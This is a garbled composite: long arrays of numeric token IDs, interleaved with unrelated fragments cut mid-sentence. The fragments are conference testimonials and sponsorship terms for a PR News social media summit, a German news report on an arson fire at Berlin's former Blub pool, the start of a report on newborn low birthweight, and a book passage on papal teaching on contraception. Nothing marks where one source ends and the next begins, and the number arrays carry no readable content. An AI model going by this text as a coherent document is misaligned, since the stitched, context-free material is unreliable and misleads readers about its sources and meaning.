3173, 2071, 538, 1308, 1136, 442, 1578, 5807, 251, 46473, 187, 187, 21419, 296, 717, 32726, 680, 348, 2137, 9416, 401, 302, 42871, 275, 1471, 443, 2275, 1392, 2496, 8449, 479, 73, 250, 445, 353, 6841, 1216, 79, 20150, 12615, 257, 3807, 270, 3525, 538, 85, 25188, 13, 14350, 2827, 516, 496, 570, 445, 401, 302, 375, 256, 2942, 39583, 259, 2555, 442, 15, 9362, 416, 1392, 22651, 1308, 317, 864, 1471, 17672, 3150, 427, 511, 3807, 295, 1240, 3767, 45680, 3150, 21174, 3525, 490, 15, 23184, 45340, 10278, 14367, 1948, 3241, 6469, 359, 1541, 1465, 72, 1914, 23268, 353, 36212, 293, 305, 21099, 18585, 257, 19748, 15, 11586, 14726, 1905, 329, 42390, 747, 1304, 407, 530, 15, 47, 15, 11009, 285, 1345, 1786, 10071, 703, 1397, 1708, 327, 581, 273, 253, 6459, 14207, 281, 23066, 18740, 11762, 27, 1146, 5686, 342, 1698, 4201, 6712, 15, 380, 1304, 13, 3863, 3063, 275, 253, 4782, 3739, 6698, 380, 26763, 292, 11841, 4775, 13, 2296, 326, 5096, 6, 273, 253, 374, 15, 22, 3041, 48842, 665, 3150, 11762, 1046, 807, 403, 1698, 4201, 6712, 1905, 247, 11527, 9058, 326, 8607, 2868, 476, 320, 4391, 15, 187, 187, 11212, 36211, 13, 3738, 1264, 14, 14105, 273, 253, 1698, 4201, 6712, 18740, 497, 5686, 275, 10586, 10497, 285, 749, 14, 49713, 7531, 13, 253, 1895, 671, 346, 2013, 1550, 6832, 3, 275, 1029, 14, 20666, 4343, 275, 3060, 13, 3729, 3968, 313, 10387, 253, 530, 15, 52, 11507, 6976, 285, 1457, 12123, 13, 253, 2561, 2929, 2296, 15, 380, 1263, 369, 3542, 407, 10071, 432, 253, 3645, 4775, 17273, 313, 34315, 582, 253, 530, 15, 47, 15, 2151, 434, 6757, 7379, 8875, 39, 13, 285, 253, 4693, 4726, 273, 8305, 28944, 708, 308, 29289, 13715, 15, 187, 187, 21173, 621, 273, 18740, 387, 2495, 187, 187, 688, 4156, 2426 ]

be great to share with colleagues who were unable to attend. Associate Vice President, Finn Partners I learned more in one day than I’ve learned all year! Director of New Media at the American Heart Association I was so impressed with the overall event. The quality of the presentations was top-notch, and the ability to network with like-minded people during the breaks and at lunch was invaluable. Director, Global Media Relations, SAP AG This was one of the best conferences I’ve ever attended. Social Media Manager, Nautica I thought it was incredibly relevant to the audience. I walked away with several key ideas that I can’t wait to implement on my clients behalf. Chief Public Affairs Officer, Clemson University Wonderful and insightful event in which I would like to have my entire team participate, including some clients. Account Executive, Digital Brand Architects It was a fantastic event, and many of the strategies delivered today will inform our company’s social media policies moving forward. Online News Producer, Education Week Amazing speakers. Relevant Case Studies. I went back to the office literally with a fire hose of apps to investigate. Also, great ideas for companies with low budgets. Sr. Director of Corporate Marketing and Communications, MTN Sponsor At the Social Media Summit presented by PR News, sponsors will reach hundreds of communications, marketing and digital professionals looking to improve their social media strategies and SEO. Join us as a thought leader at this dynamic industry event by becoming a sponsor today. SPONSORSHIP BENEFITS INCLUDE: Your logo on all marketing and event materials 2 complimentary registration passes for your staff Full-page ad in the attendee workbook "5 Things You Didn't Know" list about your company included in the attendee workbook and event website Booth to display your sponsorship materials in a high foot traffic area Trackable VIP discount code to send to your clients and colleagues to attend the conference Speaking opportunity for your executive Opportunity to present research from your organization Provision of the attendee list with full contact information Face time during the event where you'll have the chance to raffle off an item Networking opportunities with attendees Shout-outs on social media and on stage at the event Have other sponsorship needs? You can customize a sponsorship package. Hurry, Only a Limited Number of Sponsorships are Available! For information about sponsorship packages, please contact Katie Sullivan at ksullivan@accessintel.com. Why Sponsor the Social Media Summit? Reach decision-makers and buyers who know the importance of having the right products and services for their social media efforts Save on travel costs and meet with your current customers and potential new clients in one trip Launch a new product or service to decision-makers in the social media community PR News Gives Back with Feeding America The Feeding America network is the nation’s largest domestic hunger-relief organization with 200 food banks and 60,000 food pantries and meal programs. Together with individuals, charities, businesses and government we can end hunger. A portion of the PR News' Social Media Summit ticket sales will go to Feeding America.Im ehemaligen Spaßbad "Blub" in Berlin-Britz ist am Donnerstagabend ein Großbrand ausgebrochen. Um kurz nach 22 Uhr ging der Notruf ein. "Das gesamte Dach, eigentlich fast das ganze Blub, steht in Flammen", sagte ein Feuerwehrsprecher. 4500 Quadratmeter des 9000 Quadratmeter großen Daches standen lichterloh in Flammen: Ein "Vollbrand", wie es im Fachjargon heißt. Die Flammen waren schon von weitem zu sehen. Acht Löschstaffeln und 140 Feuerwehrleute fuhren in den Einsatz. Feuerwehr musste "Innenangriff" abbrechen Die Löscharbeiten gestalteten sich aufgrund der Lage schwierig. "Der Boden ist sehr morastig und deswegen bekommen wir die Löschfahrzeuge nicht in Stellung", so der Sprecher. Ein Löschboot unterstützt die Feuerwehrleute vom nahe gelegenen Kanal. Die Einsatzbedingungen waren schwierig: "Da geht von uns keiner rein. Wir löschen nur von außen und werden das Gebäude wahrscheinlich kontrolliert abbrennen lassen", sagte der Sprecher. Ein "Innenangriff" habe abgebrochen werden müssen. Am Freitagmorgen hieß es bei der Feuerwehr, die Löscharbeiten würden noch bis in den Vormittag hinein dauern. In der Tat lassen die Feuerwehrleute, wie schon in der Nacht geplant, das Gebäude kontrolliert abbrennen. "Das komplette Gebäude ist einsturzgefährdet", sagte eine Sprecherin. Gegen 9.20 Uhr sei man weiter mit Nachlöscharbeiten beschäftigt. "Die Dachkonstruktion des Gebäudes besteht unter anderem aus massiven Holzbalken. Dort schwelt es weiter", hieß es. Feuerwehrmann im Einsatz verletzt Während des Löscheinsatzes wurde ein Feuerwehrmann verletzt. "Wegen der Hitze platzte ein Löschschlauch. Der Kollege wurde von dem Schlauch getroffen", sagte die Feuerwehrsprecherin. Der Mann musste vom Rettungsdienst versorgt werden, wurde aber nicht schwerer verletzt. "Zum Glück ging das relativ glimpflich ab", hieß es. Der Feuerwehrmann trat verletzt vom Dienst ab. Am Freitagmittag gegen 13 Uhr meldete die Feuerwehr, dass ihr Einsatz in der Buschkrugallee beendet sei. "Sobald die Hitze in dem Gebäude es zulässt, werden die Brandermittler ihre Arbeit aufnehmen", sagte eine Polizeisprecherin. Schon am Freitagmorgen hatte die Polizei gesagt, dass nach ersten Erkenntnissen der Verdacht auf Brandstiftung bestehe. Auch die Feuerwehr hatte Freitagfrüh auf Brandstiftung getippt. "Dieses Mal waren es aber nicht nur ein paar zündelnde Kinder", hatte es geheißen. Um 16.30 Uhr teilte die Polizei mit, dass die Brandermittlungen "am Ort" erledigt seien. "Wir gehen weiter von Brandstiftung aus, können aber noch nichts zur Brandursache sagen." Viele Einsätze in den letzten Wochen Ein Sprecher der Feuerwehr sagte, man sei in den vergangenen Wochen ständig auf dem Gelände im Einsatz gewesen. Die Ruine sei nicht richtig gesichert gewesen, daher seien zum Beispiel zündelnde Jugendliche immer wieder dorthin gelangt. Im Januar hatten ebenfalls Teile der Decke gebrannt, im Februar stand eine Saunahütte in Flammen. Mehr zum Thema Fünf Tage nach Feuerwehreinsatz in Berlin-Britz Im Blub brannte es schon wieder Erst am Mittwoch war ein Fotograf in dem Gebäude von mehreren Männern überfallen und beraubt worden, als er im Inneren Fotos schießen wollte. Die Räuber brachen dem Mann die Nase und nahmen ihm die Kamera ab. Das Spaßbad musste 2003 wegen hygienischer Mängel geschlossen werden.United Nations — A startling new report by U.N. agencies and public health experts sheds light on one of the greatest threats to newborn babies worldwide: being born with low birthweight. The report, published today in the British medical journal The Lancet Global Health, says that 80% of the 2.5 million newborns who die worldwide every year are low birthweight — a terrible trend that researchers believe can be changed. Significantly, although three-quarters of the low birthweight babies were born in Southern Asia and sub-Saharan Africa, the problem also "remains substantial" in high-income countries in Europe, North America (including the U.S.), Australia and New Zealand, the research paper says. The study was written by experts from the World Health Organization (WHO), the U.N. children's agency UNICEF, and the London School of Hygiene & Tropical Medicine. Millions of babies at risk In global terms

[ 253, 16773, 13, 285, 703, 1364, 2186, 617, 2133, 13827, 314, 16572, 281, 3148, 617, 31521, 1208, 15, 187, 187, 49, 3750, 47990, 313, 42093, 1253, 3680, 582, 253, 747, 39166, 13, 858, 1160, 247, 4512, 44619, 281, 253, 2069, 27, 650, 438, 3390, 314, 13, 344, 3534, 521, 295, 6356, 300, 691, 8766, 313, 28660, 25162, 10, 281, 253, 594, 14, 8890, 19407, 1332, 390, 4999, 2180, 273, 49907, 27, 247, 4475, 13, 342, 253, 8596, 273, 247, 5461, 11955, 13, 14777, 617, 2192, 797, 587, 9894, 13, 285, 253, 4564, 840, 29566, 2825, 1309, 326, 346, 22768, 3, 673, 13, 285, 20965, 1550, 387, 512, 643, 2069, 15, 187, 187, 2598, 20372, 369, 253, 1332, 1128, 28025, 981, 253, 2192, 797, 587, 2180, 476, 320, 13044, 745, 407, 247, 1083, 273, 253, 2938, 28, 407, 16184, 318, 313, 9453, 36513, 318, 2636, 1169, 533, 22086, 310, 1896, 558, 285, 407, 253, 2746, 273, 1821, 46763, 13, 672, 247, 3416, 434, 5880, 4850, 29281, 314, 259, 19074, 314, 1128, 3529, 253, 39166, 434, 44619, 30163, 264, 26984, 2190, 12773, 14, 23674, 24061, 15, 346, 49, 24470, 4483, 253, 4999, 1332, 984, 344, 6057, 352, 434, 417, 4999, 449, 2207, 346, 34, 4475, 434, 760, 4999, 2180, 310, 846, 2363, 21116, 449, 4386, 296, 6853, 2458, 1925, 253, 1332, 346, 55, 31725, 30497, 26137, 449, 187, 187, 424, 46, 3329, 31440, 6908, 1267, 3322, 35, 6570, 6019, 496, 958, 13, 18738, 253, 19407, 1332, 13, 436, 1355, 13860, 267, 18230, 13, 13711, 314, 13588, 2720, 6412, 28480, 327, 4201, 1453, 15, 11748, 264, 731, 327, 616, 1481, 15, 187, 187, 2214, 14020, 13, 253, 795, 7483, 64, 37620, 3451, 1921, 281, 5440, 4187, 369, 281, 42684, 2151, 15, 1292, 367, 3750, 47990, 13, 1563, 598, 327, 367, 3750, 34264, 13, 665, 1871, 816, 753, 326, 2825, 275, 7875, 369, 346, 12311, 285, 18465, 937, 3543, 13224, 326, 344, 13, 1512, 13, 812, 8107, 6412, 9551, 15, 496, 25124, 13, 344, 9713, 253, 4260, 44801, 273, 9972, 13, 9618, 272, 731, 327, 253, 31798, 897, 273, 253, 19407, 1332, 15, 187, 187, 25179, 13, 521, 28934, 13, 367, 3750, 34264, 13, 574, 26212, 4201, 1453, 37775, 20145, 322, 3751, 313, 10002, 48945, 253, 1307, 346, 25857, 1453, 2807, 323, 7738, 326, 6416, 17581, 665, 3078, 281, 2701, 253, 1979, 273, 616, 2021, 1537, 1611, 253, 346, 22768, 2180, 3, 1332, 15, 8079, 13, 436, 1332, 369, 660, 319, 1070, 2220, 275, 12300, 347, 247, 830, 273, 15577, 20971, 4063, 318, 1128, 284, 369, 512, 33755, 1293, 253, 6860, 281, 42684, 15, 187, 187, 49, 3750, 47990, 812, 417, 452, 46485, 521, 28934, 15, 1621, 581, 812, 452, 15, 367, 3750, 34264, 574, 1925, 795, 455, 64, 3082, 273, 49907, 346, 50055, 7242, 449, 496, 521, 17437, 546, 12642, 474, 795, 19447, 74, 30606, 538, 2886, 64, 1157, 344, 4767, 326, 17581, 665, 3177, 417, 281, 42684, 1128, 795, 455, 64, 15600, 13, 417, 816, 8370, 33097, 12012, 7432, 1411, 3753, 285, 4514, 247, 22793, 534, 310, 14816, 1020, 285, 45654, 30157, 449, 2656, 13, 14315, 253, 39166, 13, 346, 5992, 6655, 436, 5061, 27183, 494, 6617, 342, 253, 34620, 24307, 285, 556, 4536, 29163, 352, 342, 2471, 449, 187, 187, 27888, 323, 970, 247, 48348, 15, 14645, 323, 247, 5938, 285, 4475, 1907, 2825, 1309, 253, 4999, 2180, 15, 3954, 367, 3750, 34264, 434, 24193, 574, 14287, 253, 2471, 12339, 285, 253, 7977, 273, 15457, 275, 2743, 281, 253, 4999, 2180, 15, 187, 187, 25052, 1818, 369, 30361, 15, 496, 14657, 2825, 275, 3139, 347, 346, 12311, 285, 18465, 937, 367, 3750, 34264, 574, 7154, 342, 14020, 273, 4062, 15, 496, 6941, 253, 19407, 1332, 13, 367, 3750, 47990, 574, 13433, 314, 10435, 7025, 14020, 273, 12791, 1128, 783, 3000, 273, 11877, 47974, 13, 7195, 329, 16573, 284, 13, 285, 7363, 273, 2469, 1684, 265, 13, 1690, 521, 8993, 28934, 15, 187, 187, 2374, 253, 16892, 369, 247, 747, 1332, 273, 49907, 13, 534, 369, 281, 5276, 1077, 23176, 15, 187, 187, 9707, 367, 10592, 1128, 9707, 41232, 58, 8, 52, 346, 41127, 4966, 1267, 4392, 1848, 1194, 1381, 11994, 187, 187, 2302, 2362, 275, 253, 1048, 285, 19080, 2892, 273, 49907, 556, 574, 247, 3687, 3486, 685, 253, 2440, 273, 253, 4201, 1453, 12575, 15, 36999, 49907, 574, 644, 8131, 347, 2080, 896, 347, 253, 4260, 14, 79, 7795, 14860, 5331, 15, 48270, 3260, 840, 326, 17110, 275, 253, 2614, 4963, 812, 13201, 253, 3275, 273, 258, 6156, 285, 14246, 1427, 15, 496, 23084, 13, 367, 3750, 47990, 3047, 326, 253, 12575, 369, 816, 1475, 253, 7145, 285, 39349, 352, 347, 346, 408, 5033, 10335, 17700, 449, 187, 187, 2773, 807, 13, 8607, 5762, 247, 340, 312, 14, 13472, 14246, 1427, 10680, 13, 295, 410, 394, 1362, 351, 1661, 13, 327, 337, 13, 20777, 15986, 275, 22699, 25681, 1128, 66, 10503, 8930, 15, 733, 4232, 46182, 31793, 285, 369, 271, 3576, 28397, 20834, 15, 49901, 282, 18033, 33367, 4395, 4541, 281, 4647, 323, 21172, 9612, 281, 2791, 346, 783, 12575, 449, 187, 187, 34, 747, 39166, 574, 816, 2668, 3906, 27, 2516, 24100, 8296, 313, 36265, 1253, 3571, 481, 754, 13, 285, 1142, 643, 7231, 7038, 1475, 253, 1533, 13, 26212, 253, 12575, 347, 253, 10319, 273, 253, 5331, 15, 1583, 16923, 326, 352, 651, 28071, 285, 20512, 1818, 253, 1533, 15, 1583, 497, 987, 15, 187, 187, 688, 11994, 13, 2255, 2439, 3968, 3407, 11280, 3035, 729, 301, 13, 2892, 434, 806, 34663, 18461, 7946, 28397, 20834, 15, 187, 187, 3463, 253, 990, 273, 21054, 13, 247, 2716, 14, 24561, 2448, 2255, 497, 327, 253, 12575, 13, 285, 326, 1180, 625, 685, 25128, 253, 1563, 807, 15, 10503, 26283, 574, 12841, 12300, 434, 7997, 15, 187, 187, 10195, 25024, 24061, 285, 1980, 39180, 497, 5068, 281, 1379, 247, 12773, 1859, 2584, 49907, 15, 187, 187, 10195, 26345, 261, 13, 347, 359, 1849, 2326, 13, 2686, 9013, 253, 12575, 689, 8651, 3082, 273, 4201, 1453, 15, 187, 187, 2512, 369, 253, 3282, 326, 275, 253, 33411, 13, 253, 46316, 13, 4980, 14, 23674, 18422, 2516, 24100, 8296, 369, 670, 281, 1056, 28110, 2544, 275, 17730, 281, 1966, 30545, 15, 9240, 665, 651, 452, 644, 10066, 1537, 751, 281, 1158, 326, 310, 2139, 2656, 1925, 779, 4745, 281, 22758, 1078, 344, 812, 769, 327, 436, 2256, 15, 187, 187, 510, 10290, 14, 23674, 39166, 369, 4783, 13, 285, 521, 24193, 13, 5171, 17128, 313, 30488, 1253, 3141, 582, 858, 1633, 326, 651, 14165, 366, 625, 8370, 33097, 685, 667, 2720, 13860, 267, 2250, 275, 2892, 15, 187, 187, 64, 26809, 3788, 1322, 38, 657, 1433, 12648, 64, 1905, 9707, 19115, 28104, 346, 33044, 35336, 48, 329, 3269, 34, 3027, 1381, 500, 4641, 58, 2030, 13, 16221, 187, 187, 1909, 604, 344, 812, 2014, 14, 4608, 15376, 3523, 253, 897, 273, 4980, 3082, 273, 49907, 13, 18422, 5171, 17128, 4395, 4541, 285, 2335, 247, 5882, 13, 4370, 33778, 1462, 13, 4331, 920, 247, 17770, 314, 3159, 264, 546, 12642, 474, 15, 187, 187, 1328, 29504, 512, 8213, 273, 49907, 432, 5955, 1561, 253, 6412, 434, 4214, 6456, 15, 1707, 651, 320, 642, 2007, 5955, 13, 642, 8881, 13, 642, 1345, 2329, 272, 273, 18776, 15, 496, 958, 13, 247, 8119, 273, 39180, 13, 14975, 13, 285, 2242, 19365, 7581, 264, 407, 5171, 275, 17926, 574, 14285, 1740, 281, 581, 326, 253, 6412, 943, 12773, 907, 697, 9551, 327, 4201, 1453, 15, 21739, 14, 23674, 39180, 497, 38141, 253, 42020, 1648, 417, 281, 25650, 1175, 17581, 665, 3078, 281, 2701, 253, 1979, 273, 616, 5870, 15, 187, 187, 18497, 989, 4137, 257, 561, 273, 22785, 23383, 342, 253, 41082, 665, 256, 1356, 342, 253, 39166, 27, 346, 42, 2353, 368, 13, 619, 4929, 39180, 13, 1339, 441, 3693, 247, 747, 686, 19393, 587, 80, 9767, 1094, 2464, 2596, 310, 2217, 323, 253, 6105, 449, 496, 1668, 1610, 13, 1309, 253, 496, 34961, 13, 18422, 24517, 29136, 574, 26212, 46087, 80, 323, 3981, 326, 253, 5101, 13, 417, 253, 6149, 13, 310, 387, 253, 4055, 273, 253, 10325, 285, 6960, 253, 20687, 37274, 604, 344, 858, 417, 10138, 281, 6412, 9551, 327, 42716, 15, 187, 187, 64, 49, 1714, 24517, 29136, 313, 1036, 1508, 1253, 2031, 10, 26212, 46087, 80, 323, 3981, 253, 5101, 13, 417, 253, 6149, 13, 369, 387, 253, 4055, 273, 253, 10325, 3333, 187, 187, 2374, 4163, 2030, 13, 16221, 13, 795, 40320, 3230, 70, 24198, 3348, 64, 5550, 2374, 253, 33156, 273, 28919, 2807, 369, 4439, 15, 380, 546, 12642, 474, 48423, 20374, 512, 13345, 3082, 273, 49907, 15, 1244, 352, 20374, 512, 39180, 285, 24061, 432, 6941, 46948, 414, 275, 616, 1211, 44615, 569, 15, 2828, 434, 15951, 274, 327, 6149, 574, 8884, 253, 1563, 27, 187, 187, 424, 5626, 411, 3252, 1410, 17003, 32021, 353, 11164, 6019, 346, 2214, 8802, 937, 18422, 5171, 17128, 2183, 271, 8446, 273, 49161, 2458, 285, 19859, 41286, 11644, 13, 187, 187, 64, 56, 4998, 310, 247, 8113, 273, 2432, 72, 989, 24410, 534, 1551, 2324, 253, 4585, 9447, 285, 8991, 39236, 273, 253, 1966, 2798, 2391, 1198, 8802, 13, 703, 310, 253, 15906, 954, 5474, 587, 1051, 16115, 13, 33632, 13, 807, 920, 13, 47012, 13, 703, 3133, 281, 29623, 10748, 4404, 247, 4451, 285, 24555, 4677, 13, 4293, 317, 4187, 285, 26034, 1020, 13, 534, 247, 30082, 23724, 13, 24011, 2190, 512, 13, 369, 33781, 281, 2489, 253, 8237, 12273, 273, 2828, 13, 6393, 3333, 187, 187, 2302, 19859, 41286, 10364, 3802, 280, 40617, 15, 1621, 49161, 757, 12918, 672, 253, 39166, 12246, 731, 42076, 27, 346, 1394, 923, 13, 24173, 13, 436, 310, 253, 6415, 327, 534, 844, 1364, 2525, 23724, 449, 1916, 11576, 665, 574, 281, 2968, 342, 2255, 665, 3078, 281, 2701, 2021, 1979, 13, 665, 574, 3739, 2515, 326, 247, 10438, 651, 8508, 13, 253, 39166, 1669, 731, 342, 247, 9023, 27, 5749, 3220, 3000, 62, 588, 2085, 368, 342, 2739, 323, 747, 13, 17874, 285, 1175, 7906, 285, 368, 588, 823, 24027, 285, 15785, 281, 634, 8761, 449, 187, 187, 21173, 621, 273, 26283, 3078, 20992, 13, 285, 253, 24555, 42020, 1648, 2918, 598, 253, 8237, 6393, 347, 253, 8198, 485, 273, 3416, 3639, 15, 1310, 247, 4564, 342, 2620, 2151, 812, 7848, 642, 625, 13, 597, 651, 320, 6726, 281, 1421, 247, 2825, 1417, 1495, 13, 323, 604, 253, 19407, 1332, 4242, 13, 16403, 369, 417, 271, 4500, 15, 187, 187, 8917, 5171, 17128, 1663, 1158, 326, 247, 7028, 637, 285, 3416, 8, 249, 13, 1333, 13, 616, 20960, 2890, 13, 285, 342, 1740, 2151, 13, 812, 4264, 247, 26174, 7028, 2825, 1417, 1495, 32, 8079, 13, 344, 858, 15, 2656, 13, 344, 753, 13, 949, 253, 23324, 5411, 14426, 1682, 12997, 275, 253, 45121, 2247, 273, 1111, 3428, 2421, 13, 574, 2530, 323, 816, 326, 2238, 273, 448, 4740, 17518, 13, 943, 352, 320, 1925, 323, 15, 40208, 6057, 1682, 15, 187, 187, 42625, 13, 795, 40320, 3230, 70, 24198, 3348, 64, 6131, 642, 2173, 6001, 1546, 10414, 275, 1329, 273, 697, 1142, 25650, 569, 273, 13345, 22086, 1128, 395, 273, 16403, 285, 10335, 17700, 15, 7087, 13, 3012, 13, 858, 253, 39166, 20141, 21463, 253, 3389, 795, 911, 5798, 742, 376, 64, 1157, 2403, 697, 11684, 2192, 455, 917, 4370, 785, 15, 1916, 513, 824, 651, 452, 3033, 253, 3564, 273, 521, 2323, 641, 11654, 1128, 395, 14568, 3441, 2624, 9790, 273, 7028, 17581, 745, 432, 11497, 275, 253, 6412, 15, 187, 187, 2214, 13, 6296, 13, 33097, 795, 12796, 64, 25815, 4201, 1453, 13, 342, 247, 9908, 440, 2655, 3256, 275, 253, 2469, 15, 329, 8461, 273, 253, 1388, 4950, 326, 7584, 2558, 273, 2448, 33097, 313, 783, 954, 22134, 809, 6231, 21876, 273, 10503, 10, 908, 253, 12575, 390, 690, 643, 2097, 273, 13345, 4201, 1453, 28, 11289, 2558, 273, 24419, 1103, 858, 28, 9161, 2558, 273, 11563, 15, 187, 187, 688, 2426, 273, 4201, 1453, 13, 8370, 10503, 1204, 574, 2489, 581, 273, 253, 954, 29460, 273, 253, 2201, 31194, 15, 187, 187, 41127, 1194, 44026, 41252, 3481, 39823, 18174, 25503, 1410, 27, 16221, 5935, 3003, 44468, 3489, 187, 187, 44982, 253, 990, 273, 795, 40320, 3230, 70, 24198, 3348, 64, 1157, 253, 39166, 42169, 24061, 281, 1918, 346, 3529, 33842, 40138, 13, 27162, 347, 973, 347, 22684 ]

the rape, and she must hold her body stiffly rigid to display her disapproval. Pius XII (1939–58), the new pope, did made a slight concession to the times: grudgingly, he gave his nihil obstat (official sanction) to the so-called rhythm method or safe period of contraception: a wife, with the aid of a thermometer, plots her infertile periods, and the couple then enjoys sex during that "safe" time, and abstains at all other times. So unsafe was the method—measuring the infertile period can be thrown off by a case of the flu; by lactation (when menstruation ceases but conception is possible); and by the approach of menopause, when a woman's cycle gets hopelessly wobbly—that the pope's concession spawned jokes among liberal-minded priests. "Papa allows the safe method because he knows it's not safe." Or "A wife's only safe period is after age sixty." Obstetricians called the method "Vatican roulette." **MUTUAL MASTURBATION.** In fact, accepting the rhythm method, this small papal compromise, grossly violated prior Church teachings on birth control. Turned them on their head. For centuries, the _only_ morally correct reason to copulate was to conceive children. But Pius XII, following up on Pius XI, who'd just said that sex in marriage was "good and holy," felt confident that he, too, could reverse Church teaching. In 1951, he addressed the midwives of Italy, instructing them on the cautious use of the rhythm method. Actually, his predecessor, Pius XI, had condemned birth control pioneer Margaret Sanger (who coined the term "birth control") for suggesting that Christian couples who wanted to limit the size of their family might try the "safe period" method. Indeed, this method was scowled upon in Rome as a form of mutual masturbation—as was all intercourse without the intent to conceive. Pius XII could not have misunderstood his predecessor. No one could have. Pius XI had called _all_ methods of contraception "criminal abuse." In his 1930 encyclical _Casti connubii_, he stated that couples who attempt not to conceive— _all_ Christians, not just Roman Catholics—"sin against nature and commit a deed which is shameful and intrinsically vicious." God, warned the pope, "detests this unspeakable crime with the deepest hatred and has sometimes punished it with death." Death for using a condom. Death for a husband and wife having sex during the safe period. Now Pius XI's successor had lifted the death penalty and the burden of guilt in regard to the safe period. Major change was underway. In viewing sex in itself as "good and holy," Pius XI had broken with centuries of tradition. In allowing the rhythm method, Pius XII had boldly contradicted centuries of doctrine—the words of Saint Augustine, Thomas Aquinas, and scores of past popes, including his immediate predecessor. On the horizon was a new method of contraception, which was to prove very appealing. THE PILL—THEOLOGY'S "GREATEST THREAT": 1960 No event in the long and clever history of contraception has had a greater impact than the development of the birth control pill. Oral contraception had been predicted as far back as the mid-nineteenth century. Doctors knew then that chemicals in the bloodstream could disrupt the production of ova and ovulation. In 1958, Pius XII saw that the pill was just around the corner and cursed it as "illicit sterilization." That year, researchers tested a yam-derived ovulation inhibitor, norethynodrel, on 1,308 volunteers in Puerto Rico—a Catholic island. It established menstrual regularity and was an effective contraceptive. Searle Pharmaceuticals moved quickly to apply for FDA approval to market "the pill." A new pope had just taken office: John XXIII (1958–63). He, and many other religious leaders around the world, condemned the pill as the evil of the century. They forecast that it would socially and sexually change the world. They were right. In 1960, women across America began buying Enovid, history's first chemically manufactured oral contraceptive. By the end of 1961, a half-million American women were on the pill, and that number more than doubled the following year. Catholic wives had ignored Rome's instructions. Many parish priests and local bishops were beginning to take a liberal view toward contraception. Many rabbis, as we've seen, actually preferred the pill over mechanical methods of birth control. There was the sense that in the Vatican, the compassionate, modern-minded Pope John XXIII was about to make sweeping changes in regards to human sexuality. Those who would have been opposed might like to think that is why God called him immediately to Heaven before he could act on this subject. The moderate-minded pope was gone, and his successor, Paul VI (1963–78), did something that would alienate more Roman Catholics than any prior papal action in history. _HUMANAE VITAE_ —THE SECOND "GALILEO AFFAIR": JULY 25, 1968 As if he could single-handedly stop the use of modern methods of contraception, Pope Paul VI moved quickly and took a firm, dogmatic stand, penning a harshly worded encyclical. He withdrew all matters of contraception from discussion within the Church's General Council. There would be no further discussion, no debate, no public airing of dissent. In fact, a commission of bishops, physicians, and lay folk convened by Paul in 1964 had voted four to one that the Church should liberalize its teaching on birth control. Liberal-minded bishops were begging the pontiff not to condemn good couples who wanted to limit the size of their families. Cardinal Suenens of Belgium pleaded with the clergy who sided with the pope: "I beg you, my brother bishops, let us avoid a new 'Galileo Affair.' One is enough for the church." In 1633, during the Inquisition, Pope Urban VIII had condemned Galileo for saying that the sun, not the earth, is at the center of the universe and ordered the scientist tortured if he did not conform to Church teaching on cosmology. _Pope Urban VIII (1623–44) condemned Galileo for saying the sun, not the earth, was at the center of the universe._ On July 25, 1968, _Humanae Vitae_ ("On the Regulation of Birth") was released. The encyclical fiercely banned all artificial methods of contraception. And it banned all bishops and priests from allowing laxity in their own congregations. Christ's vicar on earth had declared the following: **ALL WIVES ARE LIKE MARY.** "For Us," Pope Paul VI told an audience of obstetricians and gynecologists, _Woman is a vision of virginal purity which restores the highest moral and emotional sentiments of the human heart.... For Us, she is the creature most docile... singing, praying, yearning, weeping, she seems to converge naturally towards a unique and supreme figure, immaculate and sorrowful, which a privileged Woman, blessed among all, was destined to become the Virgin Mother of Christ, Mary._ No gynecologist snickered. No obstetrician laughed when the pope bid them farewell: "You see, gentlemen, this is the plane on which We must meet Woman." To doctors who had to deal with women who wanted to limit family size, who had medical conditions that a pregnancy would compound, the pope left them with a promise: "[My words] will provide you with food for new, noble and good thoughts and you will add dignity and merit to your profession." Millions of wives wanted compassion, and the supreme pontiff held up the Virgin Mary as the epitome of womanhood. If a couple with five children could afford no more, they would be forced to lead a sexless life, for if the rhythm method failed, abortion was not an option. Did Paul VI really think that a married man and woman'in, say, their thirties, and with four children, could enjoy a happily married sexless life? Indeed, he did. God, he said, through the sanctifying grace bestowed in the sacrament of matrimony, had provided for just that kind of chaste discipline, should it be called for. Papa knows best. Interestingly, _Humanae Vitae_ offers no specific scriptural references in support of its many condemnations of artificial conception—and of abortion and sterilization. Nor, significantly, did the pope dare stamp the document _ex cathedra_, making its demands infallible dogma. To do such would have bound the hands of his successors forever—and summarily cut millions of married couples off from participation in the Church. For, indeed, Catholics _were_ practicing birth control, with a passion unequaled in the past. A poll of the day revealed that 49 percent of American Catholics (the most openly defiant breed of Catholic) used the pill or some other means of artificial birth control; 89 percent of Protestants did; 96 percent of Jews. In terms of birth control, Roman Catholicism had become one of the most punitive of the major religions. GREAT SCHISM OF MODERN TIMES: 1968 TO THE PRESENT Near the end of _Humanae Vitae_, the pope warns priests to give "that sincere obedience, inward as well as outward

[ 13, 533, 4021, 14, 47009, 310, 2629, 5199, 1475, 1060, 13, 835, 359, 452, 281, 2968, 342, 3253, 432, 17631, 8548, 281, 15569, 267, 18111, 968, 15, 1893, 309, 10141, 253, 7512, 15, 1707, 369, 642, 1953, 326, 253, 5599, 309, 1871, 10062, 281, 369, 31472, 329, 6597, 15, 187, 187, 9301, 309, 3261, 598, 253, 29803, 327, 253, 7336, 285, 20582, 3253, 309, 812, 1089, 13, 534, 3589, 626, 1199, 15, 399, 35570, 323, 253, 10349, 15, 309, 1694, 247, 1643, 12830, 327, 253, 6323, 581, 1128, 2019, 10723, 16598, 1128, 2858, 2717, 327, 253, 806, 767, 13, 443, 23819, 16647, 285, 21444, 74, 30114, 284, 15, 714, 554, 13, 443, 249, 285, 21444, 74, 15, 9368, 479, 10412, 13, 533, 26086, 634, 19367, 846, 32840, 35115, 310, 816, 7004, 323, 7596, 15, 187, 187, 9301, 309, 4307, 327, 12488, 253, 17651, 15, 309, 1871, 816, 6699, 10358, 3390, 275, 5697, 323, 253, 9711, 1789, 275, 31231, 434, 1133, 1128, 9669, 13, 717, 86, 1059, 13, 2234, 1128, 9453, 309, 17377, 387, 253, 8886, 15, 733, 369, 2761, 19525, 15, 1310, 309, 9355, 281, 755, 281, 27899, 3063, 13, 309, 574, 281, 755, 1469, 15, 187, 187, 42, 16470, 619, 26358, 432, 253, 896, 2316, 285, 9530, 264, 619, 13696, 715, 253, 31132, 15, 3105, 247, 25812, 13, 247, 30649, 15, 309, 1537, 3153, 275, 253, 4759, 13779, 13, 533, 309, 1871, 1620, 3240, 28729, 253, 14898, 15, 309, 12668, 247, 13918, 308, 